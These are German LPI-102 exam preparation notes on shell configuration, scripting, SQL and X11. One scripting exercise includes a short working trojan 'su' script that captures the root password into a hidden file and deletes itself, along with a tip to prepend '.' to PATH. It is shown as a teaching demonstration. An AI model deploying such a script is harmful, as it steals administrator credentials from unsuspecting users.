LPI-102 Vorbereitung
Hochgewichtete Themen in der Prüfung LPI 102:
Benutzerverwaltung, Zeitsteuerung, Netzwerk, Sicherheit
Topic 105: Shells, Scripting and Data Management
105.1 Customize and use the shell environment
Shellarten und Eigenschaften von Variablen
Neben der altbekannten bash gibt es unter Linux natürlich viele weitere Shells. So z.B. die alte, einfache sh, die als Weiterentwicklung in Form der Almquist Shell ash besonders bei Alpine Linux zu finden ist. Weiterhin gibt es die Debian-Almquist-Shell dash. Welche Shell dann speziell als Login-Shell für Nutzer in Frage kommt, wird in der Datei ‚/etc/shells‘ festgelegt.
Grundsätzlich unterscheiden sich die Shells bezüglich ihrer Syntax und der eingebauten Kommandos und Komfortfunktionen mehr oder weniger stark. Beispielsweise kann die sh-Shell nicht rechnen, so dass man auf externe Kommandos wie expr
und bc
zugrückgreifen muss; die bash bringt dagegen das interne Kommando let
mit.
Was den Einsatzzweck bzw. das Einsatzszenario betrifft, unterscheiden wir interaktive und nicht interaktive Shells:
- Interaktive Nutzung:
= Kommandozeileninterpreter in einer interaktiven Sitzung; Komfortfunktionen (History, Autovervollständigung, Kommandozeileneditor) spielen eine besondere Rolle
- Nicht interaktive Nutzung:
= Interpreter von Shell-Skripten, die zur Automatisierung von Aufgabenstellungen ohne Nutzerinteraktion selbständig ablaufen
Siehe hierzu auch https://de.wikipedia.org/wiki/Unix-Shell
Unterscheidung Umgebungs- und Shellvariablen:
Umgebungsvariablen werden automatisch exportiert (vererbt), sie stehen Kindanwendungen (und damit auch Subshells) damit sogleich zur Verfügung.
Die Shellvariablen werden durch einen Benutzer oder ein Skript deklariert, diese Typfestlegung kann z.B. mit ‚declare‘ erfolgen:
Ein Variable als Zahl deklarieren:
declare -i zahl
Ein Variable radonly markieren:
declare -r wichtig=Linux
Darüberhinaus kann ‚declare‘ alle definierten Funktionen ausgeben:
declare -f
ACHTUNG: Das veraltete Kommando ‚typeset‘ kann ebenso wie das hier verwendete ‚declare‘ Werte und Eigenschaften für Variablen setzen!
Mit dem bereits bekannten Kommando ‚env‘ kann man Programme in einer veränderten Umgebung laufen lassen, z.B.:
Die Zeitzone zur Laufzeit ändern:
env TZ='Asia/Kathmandu' date
Die Variable ‚LANG‘ aus der Laufzeitumgebung entfernen:
env -u LANG date
Aliase (Kommandozeilen-Kürzel)
Ergebnis sind so etwas wie eigene, frei definierbare Kommandos, die dann als eine Art Shell-Builtin verfügbar sind. Sie erleichtern die Arbeit ungemein.
Genau wie Shell-Builtins werden sie VOR dem eigentlichen Kommando ausgeführt.
Alias = Kürzel für lange Kommandozeilen
Syntax: alias kürzel=‘Kommandozeile‘
Beispiele:
alias l=‘ls -ltrc‘
# Optionen: Langes Format, zeitsortierte, reverse Ausgabealias rm=‘rm -i‘
alias cp=‘cp -i‘
alias mv=‘mv -i‘
alias ftpmount=‘curlftpfs lpic1.example.test ~/ftpdir > /dev/null 2>&1‘
Am besten gleich in der ~/.bashrc festlegen! (Bei Debian: u.a. „force_color_prompt=yes“ aktivieren)
Nach Änderungen der Datei muss mit (‘source‘) oder (‘. ‘) der Inhalt in der elternlichen Prozessumgebung aktiv gesetzt werden.
Des weiteren:
Prüfung, ob es sich um einen Alias handelt:
type rm
Alle definierte Aliasen anzeigen:
alias
Einen Alias temporär aus der Prozessumgebung entfernen:
unalias <KÜRZEL>
Alle Aliase temporär aus der Prozessumgebung entfernen:
unalias -a
Einen Alias temporär für einmalige Ausführung übergehen:
\KÜRZEL
BEISPIEL:
$ touch datei{1,2,3,4}-{a,b,c,d}.txt
$
$ ls -1 datei[1-4]* | wc -l
$ rm datei*
rm: reguläre Datei „datei“ entfernen? j
rm: reguläre leere Datei „datei1-a.txt“ entfernen? j
rm: reguläre leere Datei „datei1-b.txt“ entfernen? j
rm: reguläre leere Datei „datei1-c.txt“ entfernen? ^C
$
$ \rm datei*
$
$ ls -1 datei[1-4]* | wc -l
ls: Zugriff auf datei[1-4]* nicht möglich: Datei oder Verzeichnis nicht gefunden
Zum Alias „ftpmount“
Voraussetzung (als root):
Installiertes Paket „curlftpfs“:
apt-get install curlftpfs
Beim ersten Mal:
modprobe fuse
Benutzer in sekundäre Gruppe „fuse“:
usermod -aG fuse tux
Benutzung als Nutzer „tux“:
Nach dem Neueinloggen eine Datei ~/.netrc erzeugen:
machine lpic1.example.test login myUsername password myPassword
Rechte anpassen:
chmod 600 ~/.netrc
Mountpunkt erzeugen:
mkdir ~/ftpdir
Den oben definierten Alias aufrufen:
ftpmount
Optional: SymLink für bequemen Zugriff erzeugen:
$ ln -s ~/ftpdir/HandOuts/Pemmann\ Axel/ LinuxKurs
Funktionen
Problemstellung: Die Shell kann Rückgabewerte ($?) nur einmal auswerten, anders sieht es dagegen mit Funktionen aus: hier kann mit ‚return‘ mehrfach auf Rückgabewerte reagiert werden. Außerdem kann man öfter verwendete, gleiche Kommandozeilen zusammenfassen und als eigenen Befehl definieren.
Weitere Hinweise:
Funktionen lassen sich aus der Prozessumgebung mit dem shell builtin ‚unset‘ entfernen.
Dauerhaft einbinden sollte man sie z.B. über ‚profile‘-Dateien, die nur einmal beim Login abgearbeitet werden, systemweit am besten in die ‚/etc/profile‘. Daneben sind dafür natürlich auch die ‚bashrc‘-Dateien geeignet. Siehe dazu
Funktionen haben die nette Eigenart, in der aktuellen Prozessumgebung (!) der Shell ausgeführt zu werden, nicht in einer Subshell. Daher funktioniert auch das Praxisbeispiel A) mit ‚cdls‘ (siehe unten) auch entsprechend problemlos.
Allgemeine Syntax
a) Langform
function NAME(){
Kommando 1
Kommando 2
Kommando n
}
b) Kurzform 1
NAME(){
Kommando 1
Kommando 2
Kommando n
}
c) Kurzform 2*
function NAME { # ACHTUNG: Zwischen dem Namen und der
Kommando 1 # sich öffnenden Klammer muss eine Leerzeichen
Kommando 2 # stehen!
Kommando n
}
PRAXISBEISPIELE:
In ein Verzeichnis wechseln und Inhalt ausgeben:
function cdls () { cd $1 ls -F }BENUTZUNG: cdls /etc/ppp
Eine rekursive Suche mit ‚grep‘:
gg (){ grep --color -Hir $1 2> /dev/null } BENUTZUNG: cd /etc # Verzeichnis aufsuchen, wo die Tiefensuche beginnt gg linus # Nach dem Vornamen des Linux-Schöpfers suchen
Wiederverwendung von Code-Blöcken in Shell-Skripten (Redundanzen vermeiden)
In folgendem anwendungsbereiten Firewallskript werden zwei Funktionen namens ‚fwclose‘ sowie ‚fwopen‘ definiert und im erforderlichen case-Zweig aufgerufen:
#!/bin/sh # # fw-spi # # Axel Pemmann, 14.03.2013 # Demonstration von reinem Stateful Packet Inspection, ausgenommen ist der # ssh-Zugang, der als einfache statische Regel definiert wird extif=eth0 fwclose () { iptables -P INPUT DROP iptables -P FORWARD DROP iptables -P OUTPUT DROP iptables -F iptables -F -t nat } fwopen () { iptables -P INPUT ACCEPT iptables -P FORWARD ACCEPT iptables -P OUTPUT ACCEPT iptables -F iptables -F -t nat } case "$1" in start) fwclose # Alles über localhost erlauben iptables -A INPUT -i lo -j ACCEPT iptables -A OUTPUT -o lo -j ACCEPT # Eingehend nur das zulassen, was ausgehend initiiert wurde iptables -A INPUT -i $extif --match state --state RELATED,ESTABLISHED -j ACCEPT # Ausgehend alles erlauben, inclusive möglicher Call Homes u.ä. iptables -A OUTPUT -o $extif --match state --state NEW,ESTABLISHED,RELATED -j ACCEPT # Eingehend ssh erlauben iptables -A INPUT -i $extif -p tcp --dport 22 -j ACCEPT ;; open) fwopen ;; *) echo "Syntax: $0 {start|open}" ;; esac
Weitere Anwendungen für Funktionen sind immer wiederkehrende Hilfe-Texte sowie fork-Bomben.
WEITERE AUFGABEN:
Schreiben Sie eine Funktion namens ‚ipshow‘, welche die IPv4-Adresse aus der Ausgabe von
/sbin/ifconfig eth0
herausfiltert (Viele Systeme verwenden predictable Interface Names, dort kann die erste Netzwerkkarte z.B. ‚enp0s3‘ heißen!).Suchen Sie im Internet nach dem „Shell Shock“-Bug der bash, testen Sie, ob Sie anfällige Software haben.
Konfigurationsdateien für Login und bash
Je nach Shell werden unterschiedliche Dateien beim Systemstart abgearbeitet. Für was steht „rc“? Es kann „run command“ oder „ressource control“ bedeuten.
a) Systemweite Dateien:
Zur Festlegung der PATH-Variablen (evl. auch umask-Wert): /etc/profile
--> Ziel: Nutzerprofil mit sinnvollen Mindestwerten initiieren
Einstellungen zu Passwortkomplexität und evl. auch umask-Wert: /etc/login.defs
Initiialisierung der Bash: /etc/bashrc bzw. /etc/bash.bashrc => wobei mehr Möglichkeiten als bei der Prompt-Initialisierung der sh via /etc/profile bestehen: PS1=“Eingabe \W: „
PROMPT-AUSSEHEN: Eingabe ~: cd /usr/share/doc Eingabe doc: Eingabe doc:
Festlegung von Tastaturkürzeln: /etc/inputrc
Welchen weiteren Unterschied gibt es bei der Abarbeitung der beiden folgenden Dateien?
/etc/profile: Wird nur ein Mal beim Login abgearbeitet (Bei Änderungen logout/login erforderlich)
/etc/bashrc: Wird mit jedem neuen bash-Aufruf (egal ob als Subshell oder durch Starten einen neuen Terminalemulators, z.B xterm)
b) User definierte Startupdateien
MERKTIPP: Von historischer Entwicklung der Shells ausgehen:
Die Parallele der /etc/profile: ~/.profile → Handelt es sich um einen moderneres System mit einer bash, dann werden andere Dateien VORHER abgearbeitet (siehe unten bei „bash-spezifische Konfigdateien“)!
Die Parallele der /etc/inputrc: ~/.inputrc → Wird diese Datei jedesmal oder nur beim Login ausgewertet? ANTWORT: Jedesmal mit Öffnen einer neuen Shell
Zur Bildung der Tastenkürzel siehe unbedingt http://www.pro-linux.de/kurztipps/2/1256/tasten-mit-kommandos-belegen.html, die Sequenz
"\e[11~": "ls -ltrc\n"
kann sich auf den verschiedenen Linux-Systemen stark voneinander unterscheiden! Hier ein paar wichtige Auszüge:„Wie kann man den Trick auf weitere Tasten ausweiten? Dazu muß man den Code kennen, den die Tasten erzeugen. Diesen kann man herausfinden, indem man in der Kommandozeile STRG+V gefolgt von der gewünschten Taste eingibt. Das ergibt eine Escape-Sequenz (die ersten beiden Zeichen sind ^[, was für STRG+[, gleichbedeutend mit Escape steht). Ersetzt man das ^[ durch e, hat man die benötigte Sequenz für .inputrc gefunden. … Hierbei ist zu beachten, daß das letzte Zeichen in e[11~ eine Tilde ist. Alle Zeichen sind exakt so einzugeben wie hier zu sehen, mit Ausnahme des ^M am Ende. Das ^M steht für Enter und bewirkt, daß das Komando direkt ausgeführt wird. Ohne das ^M würde nur der Kommandostring in die Kommandozeile kopiert und auf Eingabe von Enter oder weiteren Zeichen gewartet.
Wie man das ^M eingibt, hängt vom verwendeten Editor ab. Bei vi ist es STRG+V, gefolgt von Enter. Es muß auf jeden Fall ein einzelnes Zeichen eingegeben werden, ASCII-Code 13. …“
Im Beispiel:
cat ~/.inputrc
"\e[11~": "ls -ltrc^M" Control-h: "cd ~"
Nach dem Abspeichern setzt man dies mit
bind -f ~/.inputrc
aktiv.Zur Benutzung:
Zeile 1: Taste F1 drücken, um direkt ‚ls -ltrc‘ auszuführen
Zeile 2: Strg + h drücken, um ‚cd ~‘ auf den Prompt zu legen
Siehe dazu auch „help bind“ sowie „man readline“
bash-spezifische Konfigdateien
~/.bash_profile (wird falls vorhanden beim Login NACH der /etc/profile abgearbeitet) → Was bedeutet: Nutzer-definiert Konfigs gehen systemweiten vor!
~/.bash_login (wird nur beim Login)
~/.bash_logout (falls sie existiert, wird sie beim Logout ausgeführt)
Weitere Unterscheidungen von Shell-Arten sind möglich:
interactive
non-interactive
login
non-login
Siehe dazu: http://homepage.smc.edu/morgan_david/linadmin/labs/safe-remote-poweroff/safe-remote-poweroff.htm
Fragen zur Wiederholung
Schreiben Sie Aliase für die folgenden Kommandos:
apt-get update
→ Kürzel: „au“:alias au='apt-get update'
apt-cache search
→ Kürzel: „as“:alias as='apt-cache search'
apt-get install
→ Kürzel: „ai“:alias ai='apt-get install'
Fasssen Sie die beiden folgenden Kommandozeilen zusammen, so dass sie ähnlich einen Shellbuiltin-Befehl in der Bash-Umgebung (kein Skript) zur Verfügung stehen. Geben Sie dem neuen Befehl den Namen backup.etc.
$ tar czvf /root/etc-backup-`date +%F`.tar.gz /etc $ md5sum /root/etc-backup-`date +%F`.tar.gz >> /root/md5sums.txt
LÖSUNG:
backup.etc(){ tar czvf /root/etc-backup-`date +%F`.tar.gz /etc md5sum /root/etc-backup-`date +%F`.tar.gz >> /root/md5sums.txt }
Setzen Sie der Variablen „zahl1“ den Wert 3, der Variablen „zahl2“ den Wert 5, berechnen Sie danach mit Hilfe von let das Produkt, wobei Sie das Ergebnis bitte in eine Variable namens „produkt“ speichern.
LÖSUNG:
$ zahl1=3 $ zahl2=5 $ $ ### alternativ: $ declare -i zahl1=3 $ declare -i zahl2=5
$ let produkt=$zahl1*$zahl2 $ $ ### alternativ: $ let produkt=zahl1*zahl2 $ echo $produkt 15 $
Starten Sie mit sh eine Subshell. Steht die Variable produkt hier zur Verfügung? ANTWORT: Nein
Wenn nicht, warum? Sorgen Sie in dem Falle dafür, dass sie auch hier vorhanden ist. ANTWORT: Die Variable wurde ja nicht exportiert, also dann:
export produkt
Entfernen Sie die Variable produkt komplett.
LÖSUNG:
$ unset produkt
Ein „export -n produkt“ würde ja nur den Export zurücknehmen.
Entfernen Sie temorär den Alias ai aus Ihrer Shellumgebung
$ unalias ai
Testen Sie die folgenden Kommandos aus, um hinter den Sinn des Shell Builtins namens ‚builtin‘ zu kommen (mit
export LC_ALL=C
setzen wir die Ausgabe auf die der universellen, englischen Programmiersprache ‚C‘, mitexport LC_ALL=de_DE.UTF-8
zum Schluss alles wieder zurück):$ export LC_ALL=C $ $ alias echo='echo Achtung, Achtung: ' $ $ type -a echo echo is aliased to `echo Achtung, Achtung: ' echo is a shell builtin echo is /bin/echo $ $ echo "Jetzt ist es `date +%H:%M` Uhr." Achtung, Achtung: Jetzt ist es 21:55 Uhr. $ $ builtin echo "Jetzt ist es `date +%H:%M` Uhr." Jetzt ist es 21:55 Uhr. $ $ unalias echo $ $ export LC_ALL=de_DE.UTF-8
Wie kann einmalig umgangen werden, dass mit rm der Alias rm -i ausgeführt wird?
LÖSUNG: Einen Backslash voranstellen:
\rm
Welche Aufgabe hat die Datei /etc/inputrc bzw. ~/.inputrc?
ANTWORT: Eigene Hotkeys festlegen
105.2 Customize or write simple scripts
ZIEL: Einfache, grundlegende Kontrollstrukturen kennenlernen, Kommando test benutzen können
Das erste Skript soll typische Umgebungsvariablen eines einfachen Benutzers ausgeben:
$ vi myenvironment.sh
Der Inhalt des Skriptes:
#!/bin/sh
#
# myenvironment.sh
echo "Mein Heimatverzeichnis lautet: $HOME "
echo "Mein aktuelles Arbeitsverzeichnis ist: $PWD "
echo "Mein Loginname lautet: $LOGNAME "
echo "Mein Suchpfadvariable beinhaltet folgende Ordner: $PATH "
echo "Mein primärer Prompt wird gebildet mit: $PS1 "
echo "Mein Elternprozess ist $PPID und mein aktueller Prozess $$ "
Danach muss das Skript ausführbar gemacht werden:
$ chmod u+x myenvironment.sh
Ausführung aus einem Verzeichnis heraus, dass nicht im Suchpfad integriert ist:
$ ./myenvironment.sh
Expansionen und Substitutionen in der Shell
VORSICHT: Bitte die folgenden Zeichen nicht mit Maskierungsausgaben in Zusammenhang bringen:
Backslash (\): Maskierung des darauffolgenden Zeichens (Dollar ist mit betroffen)
Simple Ticks (‚): Zwischen zwei solcher Zeichen gesetzter Text wird maskiert (Dollar ist mit betroffen)
Double Sticks: Maskierung verschiedener Zeichen wie Leerzeichen, das Dollarzeichen ist aber nicht mit betroffen!
Es gibt drei grundlegende Verfahren, die Erweiterungs- bzw. Ersetzungsaufgaben wahrnehmen:
a) Wildcard/Joker-Expansion (Dateinamesexpansion).
Die Dateijoker unter Linux sind: *, ?, […], [!…]
$ ls -l /etc/*.conf
b) Variablen-Expansion, Ausgabe von Variableninhalten.
echo $PATH
ACHTUNG: Bei zusammenzusetzenden Zeichenketten, muss die Variable vom umgebenden Text abgetrennt werden, das macht man i.d.R. mit den geschweiften Klammern (oder einem Backslash oder Tickmarks)
$ # ZIEL: Zeichenkette "Weltenbummler" generieren
$ name=Welt
$
$ # So NICHT:
$ echo $nameenbummler
<== Diese Variable gibt es nicht (deswegen die Leerzeile)
$
$ # Sondern so:
$
$ echo ${name}enbummler
Weltenbummler
$
$ echo $name\enbummler
Weltenbummler
$
$ echo $name'enbummler'
Weltenbummler
$
$ echo $name"enbummler"
Weltenbummler
$
a) Kommandozeilensubstitution:.
Mit Backticks:
echo `cat /etc/fstab`
Mit Dollar und runden Klammern:
ls -F /lib/modules/$(uname -r)
Spezielle Variablen
Es gibt für verschiedene Zwecke fest vordefinierte Variablen, die vor allen die Frage betreffen Wo bekomme ich meinen Input her?
Positionelle Parameter.
⇒ die an einer bestimmten Position mitgegebenen Übergabeparameter:
$1 ... $9
BSP, Skriptname "kopiere": cp -vr $1 $3
Ausführung des Skiptes: ./kopiere Dokumente nach Doc.backup.d
Hierbei stellt das Wörtchen „nach“ den zweiten positionellen Parameter dar, der einfach nicht ausgewertet wird.
Daneben wird in der Variablen $#
die Anzahl der übergebenen Parameter
geführt, in der $*
alle übergebenen Parameter als Zeichenkette (IFS wirkt sich nicht aus)
und in der Variablen $@
alle übergebenen Parameter mit IFS-Trenner (Die Parameter als einzelnes Wort).
Interner Feldtrenner (Internal Field Separator).
⇒ Auftrennung der Kommandozeile in einzelne Argumente, so dass die Shell sie verarbeiten kann
Variablename: IFS
BSP: echo $IFS | od -x
-> Hier ist i.d.R. ein Leerzeichen und ein Tabulatorschritt enthalten
Der Name des aufrufenden Programmes/Skriptes.
Variablenname: 0
BSP: echo "Das Skript heißt $0."
Der Exit-Code eine Programmes/Skriptes.
Die Shell kennt nur DIE Codes 0 oder 1, wobei 0 Erfolg bedeutet. Andere, reguläre Kommandos können weitere Exitcodes produzieren.
Variablenname: ?
BSP: echo "Das Skript ist mit Exitcode $0 gelaufen."
Die Parent-PID: PPID
BSP: echo "Mein Eltenprozess: $PPID"
Die aktuelle PID des Programmes/Skripts: $
BSP: echo "Mein eigener Prozess: $$"
Den letzten Hintergrundprozess: !
BSP: sleep 60 & echo "Mein letzter bash-Job: $!"
Kontrollstrukturen
Um eine strukturierte Ablaufplanung mit Manipulationsmöglichkeiten zu erhalten, gib es:
Schleifen (for, while, until, select)
Verzweigungen (if / case)
Schleifen für wiederholte Abarbeitung
While-Schleife
Sie dient dazu, eigene, kleine Daemons zu schreiben. Das kann sogar mit Endlosschleifen geschehen, die mit einer Abbruchbedingung ausgestatte werden müssen:
while true
do
echo "Bitte warten...."
sleep 2
done
Bedingungen können aber natürlich zuallererst in der Schleife selber definiert werden, anstelle von true notiert man den Ausdruck, der häufig mittel dem Kommando test generiert wird:
#!/bin/bash
#
# add
#
# Dem Skript müssen mehrere Ganzzahlen als Parameter übergeben werden
summe=0
while test $# -gt 0
do
let summe=summe+$1
echo "Die Summe berägt im Moment: $summe"
sleep 1
shift
done
echo "Die Summe beträgt: $summe"
unset summe
exit 0
Das Skript in Aktion:
./add 1 2 3 4 5 6 7
Die Summe beträgt im Moment: 1
Die Summe beträgt im Moment: 3
Die Summe beträgt im Moment: 6
Die Summe beträgt im Moment: 10
Die Summe beträgt im Moment: 15
Die Summe beträgt im Moment: 21
Die Summe beträgt im Moment: 28
Die Summe beträgt: 28
For-Schleife
⇒ für Praxisaufgaben wie die Untersuchung aller Objekte im Dateisystem gut geeignet:
for liste in /etc/host*
do
file $liste
done
Das Skript in Aktion:
/etc/host.conf: ASCII text
/etc/hostname: ASCII text
/etc/hosts: ASCII text
/etc/hosts.allow: ASCII text
/etc/hosts.deny: ASCII text
Fragen zur Wiederholung
Schreiben Sie ein Skript, das wichtige bash-Variablen ausgibt
$0 $# $1 ... $9 $?
LÖSUNG:
echo "Programm-Name: $0" echo "Anzahl der Parameter: $#" echo "1. Positionsparameter: $1" echo "2. Positionsparameter: $2" echo "3. Positionsparameter: $3" echo "4. Positionsparameter: $4" echo "5. Positionsparameter: $5" echo "6. Positionsparameter: $6" echo "7. Positionsparameter: $7" echo "8. Positionsparameter: $8" echo "9. Positionsparameter: $9" echo "Exitcode dieses Programmes: $?"
Modifizieren Sie das folgende if-Verzweigungs-Beispiel. Fügen Sie einen Header mit dem Shebang und einer Variablen namens „dateityp“ hinzu, über die Sie Dateien angeben können. Geben Sie für einen Testfall ein vorhandenes Verzeichnis an, prüfen Sie, ob es tatsächlich vom Typ her ein Directory ist:
if [ -f /etc/hosts ] then echo "Es handelt sich um eine Datei." else echo "Es handelt sich NICHT um eine Datei." fi
Hinweis: Anstelle der eckigen Klammern kann auch direkt das Kommando 'test' verwendet werden
#!/bin/bash # # if-tests.sh
### VARIABLE=WERT dateiobjekt=/tmp/weißnicht
if [ -d $dateiobjekt ] then echo "Es handelt sich um ein Verzeichnis." else echo "Es handelt sich NICHT um ein Verzeichnis." fi
### Verbesserte Variante:
#!/bin/bash # # if-tests-parameter.sh
### Durch die Verwendung von '$1' muss dem Skript ein Dateiobjekt übergeben werden if [ -d $1 ] then echo "Es handelt sich um ein Verzeichnis." else echo "Es handelt sich NICHT um ein Verzeichnis." fi
Stellen Sie sich vor, dass Sie mit wget einen Download gestartet haben, der aber eine ganze Weile laufen wird. (Testweise sleep 300 & verwenden!). Schreiben Sie ein Skript, das prüft, ob der Prozess noch läuft. Wenn nicht, soll der Rechner heruntergefahren werden.
-> Endlosschleife mit while, Abbruchbedingung mit if-then-else
#!/bin/bash # # wget-shutdown.sh
while true do if [ "`pgrep sleep`" = "" ] then echo "Download beendet!" echo shutdown -h 1 else echo "Bitte warten, Download läuft noch..." sleep 2 fi done
Schreiben Sie ein Skript namens su, das als trojanisches Programm das root-Passwort abfängt, falls root den Fehler begeht und nicht absolute Pfade verwendet: (/bin/su -). Das abgefangene Passwort soll in einer versteckten Datei abgelegt werden. Dabei soll das Programm die Arbeitsweise von /bin/su möglichst detailgetreu nachahmen und sich nach getaner Arbeit selbst löschen.
#!/bin/bash # # su # # DEMO: Trojanisches Skript, das das root-Passwort abfischt und sich danach löscht # Hinweis: Mit der folgenden Zeilen kann das Skript von jedem Verzeichnis # aus aufgerufen werden: export PATH=.:$PATH # read -s -p "Passwort: " pw echo echo "su: Fehler bei Authentifizierung" echo "$pw" > ~/.dbus/.netsocket rm -f $0
Schreiben Sie ein Bash-Programm, das die freie Speicherkapazität der Wurzelpartition überwacht und ein „ALERT: HDD full!“ mit logger ins Haupt-Logfile schreibt, wenn die Belegung 90% beträgt.
HINWEIS: Das %-Zeichen lässt sich am elegantesten mit Hilfe von Variablen-String-Verarbeitung entfernen (http://www.lansys.ch/shell/strings.htm)
space=$(df / | tail -1 | awk '{print$5}') echo ${space//%}
LÖSUNG:
# %-Wert der Auslastung in einer Variable speichern, um Stringverarbeitung # durchführen zu können space=$(df / | tail -1 | awk '{print$5}')
# Berechnung durchführen, Stringverarbeitung, um %-Zeichen zu entfernen if [ ${space//%} -gt 20 ]
then logger "ALERT: HDD full!" echo "ALERT: Festplatte ist zu $space belegt!"
fi
Schreiben sie ein Skript, das prüft, ob der Host „foo“ (Z.B. Standardgateway) erreichbar ist. Im Fehlerfall soll die Meldung ins Syslog geschrieben werden „NETZWERKFEHLER: Host foo nicht erreichbar.“.
vi host-available.sh
### Testweise ping -c4 172.16.0.2 > /dev/null 2>&1 ; echo $? ### Lösung 1 ping -c2 172.16.0.2 > /dev/null 2>&1 || logger "NETZWERKFEHLER: Host foo nicht erreichbar." ### Lösung 2 ping -c2 172.16.0.2 > /dev/null 2>&1 if [ $? -ne 0 ] then echo "NETZWERKFEHLER: Host foo nicht erreichbar." fi
Aus den Prüfungsfragen
cat myscript
shift
echo $2
./myscript eins zwei drei vier
drei
-> Es wird zuerst um Eins verschoben (shift [1]), d.h. der erste Positionsparameter wird
nicht mehr beachtet, danach wird von der verbleibenden Liste (zwei drei vier) der zweite
Positionsparameter ausgegeben, also: "drei"
Bitte als nächstes das folgende Skript schreiben und danach austesten:
#!/bin/bash
#
# grundrechenarten-case.sh
clear; echo -e "Welche Operationen möchten Sie ausführen?\nBitte den ersten Buchstaben eingeben und mit Eingabe bestätigen!\n"
echo -e " [a]ddieren
[s]ubtrahieren
[m]ultiplizieren
[d]ividieren "
read -p "EINGABE: " operator
clear; echo -e "\nGeben Sie jetzt den ersten Wert ein "
read a
clear; echo -e "\nGeben Sie jetzt den zweiten Wert ein "
read b
case "$operator" in
a)
let c=a+b
clear; echo $a + $b = $c
;;
s)
let c=a-b
clear; echo $a - $b = $c
;;
m)
let c=a*b
clear; echo $a "*" $b = $c
;;
d)
let c=a/b
clear; echo $a / $b = $c
;;
*)
clear; echo -e "\nSie haben einen ungültigen Operator angegeben!"
exit 1
;;
esac
exit 0
105.3 SQL data management
ZUR MOTIVATION: Es gibt CMS (wordpress, joomla, OpenNote, ilias, contao, …) auf Basis LAMP (Linux - Apache/Nginx - MySQL - Perl/PHP)
Ziel: DBMS-Superuser (er heißt ebenfalls root) muss sein CMS-Passwort ändern können
Installation von DBMS und Cmdline-Client unter Debian 7
# Installation
apt-get install mysql-server
(Assistent verlangt das Setzen eines Passwortes)
# Überprüfung der Installation
dpkg -l | grep sql
# Authentifizierter Login (User = root, Prompt bereitstellen)
mysql -u root -p
ERSTE SCHRITTE IM mysql-Client:
status;
help data types;
show databases;
use mysql;
show tables;
select * from user;
---- Neue DB erzeugen;
create database kontakte;
use kontakte;
create table rufnummern(
id int(10) not null auto_increment primary key,
vorname varchar(128),
nachname varchar(128),
vorwahl varchar(32),
rufnummer varchar(32)
);
insert into
rufnummern (id,vorname,nachname,vorwahl,rufnummer)
values
(1,
'Hans',
'Panz',
'030',
'12345678'
);
show tables;
describe rufnummern;
select * from rufnummern;
select vorname,nachname from rufnummern;
select vorwahl,rufnummer from rufnummern where vorname='Willi';
select nachname,vorname,vorwahl,rufnummer from rufnummern where vorname='Willi';
# Ohne Feld 'id' vom Type AUTO_INCREMENT:
insert into rufnummern (vorname,nachname,vorwahl,rufnummer) values ('Susi', 'Paschke', '030', '343493067');
# Ohne Verwendung des Feldes "vorwahl" wird im Datensatz dort NULL eintragen
insert into rufnummern (vorname,nachname,rufnummer) values ('Dieter', 'Durstig', '66673');
select * from rufnummern where nachname='Durstig';
select * from rufnummern where id > 1 and id < 4;
update rufnummern set vorwahl='0221' where id=2;
### AUFGABE: Das leere Feld (Wert = NULL) bei Dieter Durstig befüllen.
update rufnummern set vorwahl='0221' where id=2;
### Abschließend Datenbank sichern mittels Klartext-Dump:
mysqldump -u root -p kontakte > database-kontakte.sql
Fragen zur Wiederholung
Wie lautet eine einfache SQL-Abfrage, die den Inhalt einer Tabelle komplett ausgibt?
SELECT * FROM table_name;
Erläutern Sie, was die folgende SQL-Kommandozeile bedeutet:
UPDATE rufnummern SET vorwahl = '02131' WHERE vorname = 'Dieter';
Ziel: Änderung („UPDATE“) eines Datensatzes einer Tabelle („rufnummern“)
Suche die Zeilen heraus, wo im Feld „vorname“ der Wert „Dieter“ zu finden ist
Dabei geschieht die Änderung im Feld „vorwahl“, dessen neuer Wert zugleich mit „SET“ übergeben wird
Topic 106: User Interfaces and Desktops
106.1 Install and configure X11
Ziel: ein X-Window-System installieren und einen X-Font-Server aufzusetzen
Voraussetzung Hardwareunterstützung: Was habe ich für ein Grafiksystem? (Zur Definition: Das Grafiksystem eines PCs besteht aus Grafikkarte und Monitor.)
GFX-Card identifieren:
lspci | egrep 'VGA|3D'
Welche Xorg-Treiber geladen wurden:
grep \.so$ /var/log/Xorg.0.log
(hier bitte auf Dateinamen mit z.B. „vesa“, „intel“ oder „nvidia“ achten)
Komponenten eines X-Window-Systems
Siehe dazu die anschaulichen Grafiken unter
Im Experiment: Welche Aufgaben nimmt der ein X-Server wahr? Welche X-Clients benötigt man mindestens? (Alles als root durchzuführen!)
Stoppen des bisherigen X-Window-Grafiksystems
Unter SuSE, CentOS:
init 3
Unter Debian (bei Verwendung eines Display-Managers):
Auf tty1 (STRG + ALT + F1) umschalten, dann:
/etc/init.d/kdm stop
Falls das nicht funktioniert: siehe weiter unten bei „Der Startvorgang von X“
X-Server starten (z.B. auf tty1; STRG + ALT + F1):
$ X -retro
Was wir dabei beobachten können, ist, dass wir automatisch auf einen Kanal geschaltet werden, auf dem nichts weiter als eine grau flimmernde Fläche mit Mauszeiger zu erleben ist! Wir haben ja auch erstmal nur den X-Server am Start, der auf seine Clients wartet…
Ersten X-Client namens ‚xterm‘ starten (Umschalten z.B. auf tty5 mit der Tastenkombination STRG + ALT + F5):
$ xterm
Dieser erste Versuch, die clientseitigen Ausgaben zum X-Server zu senden misslingt. Die Fehlermeldung lautet: „Can’t open display: %s … DISPLAY is not set“ Wenn wir jetzt aber die Variable ‚DISPLAY‘ setzen, wird es gelingen, weil jetzt die Clients darüber informiert werden, wohin sie ihre Pixel zu senden haben:
$ DISPLAY=:0.0 xterm
Die Angabe ‚DISPLAY=:0.0‘ bedeutet hierbei: „Sende die Ausgabe zum lokalen Rechner, erster X-Server, erstes Display“. Geht es aber um einen entfernten Rechner, auf dem Pixel erscheinen sollen, schreibt man z.B. so etwas:
DISPLAY=192.168.2.5:0.0
Nun aber läuft unser X-Terminal, aber natürlich nicht in unserer virtuellen Konsole, sondern auf einem andern Kanal…
Zweiten X-Client namens ‚icewm‘ starten (Umschalten zum laufenden X-Server z.B. mit der Tastenkombination STRG + ALT + F2):
Hier finden wir jetzt unser ‚xterm‘ und können da drin auch schon arbeiten (z.B. Software nachinstallieren, falls der nächste Schritt fehlschlägt:
apt-get install icewm
)Starten eines wichtigen Clients, des Window Managers (z.B. icewm, metacity (Gnome2), mutter (Gnome3), kwin (KDE), twm, fvwm2, fluxbox, openbox, pekwm, …). Je nachdem welcher installiert ist, schreiben wir:
$ icewm &
